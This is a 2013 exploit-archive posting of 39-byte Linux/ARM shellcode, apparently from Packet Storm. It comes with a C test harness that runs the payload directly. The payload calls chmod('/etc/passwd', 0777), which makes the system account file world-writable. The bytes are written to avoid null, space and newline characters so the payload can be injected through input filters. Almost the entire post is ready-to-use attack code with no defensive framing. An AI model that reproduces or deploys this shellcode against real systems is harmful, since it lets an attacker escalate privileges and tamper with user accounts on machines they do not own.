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Linux/ARM chmod("/etc/passwd", 0777) Shellcode

Linux/ARM chmod("/etc/passwd", 0777) Shellcode
Posted Sep 5, 2013
Authored by gunslinger

39 bytes small Linux/ARM chmod("/etc/passwd", 0777) shellcode.

tags | shellcode
systems | linux
MD5 | 29e60240a86705672967aeb923afe628

Linux/ARM chmod("/etc/passwd", 0777) Shellcode

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/* 
Title : Linux/ARM - chmod("/etc/passwd", 0777) - 39 bytes
Date : 2013-09-04
Author : gunslinger_ (yuda at cr0security dot com)
Tested on : ARM1176 rev6 (v6l)

An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.

Cr0security.com

*/
#include <stdio.h>

char *shellcode = "\x01\x60\x8f\xe2" // add r6, pc, #1
"\x16\xff\x2f\xe1" // bx r6
"\x78\x46" // mov r0, pc
"\x10\x30" // adds r0, #16
"\xff\x21" // movs r1, #255 ; 0xff
"\xff\x31" // adds r1, #255 ; 0xff
"\x01\x31" // adds r1, #1
"\x0f\x37" // adds r7, #15
"\x01\xdf" // svc 1
"\x40\x40" // eors r0, r0
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1
"\x2f\x65\x74\x63" // .word 0x6374652f
"\x2f\x70\x61\x73" // .word 0x7361702f
"\x73\x77" // .short 0x7773
"\x64"; // .byte 0x64

int main(){
fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

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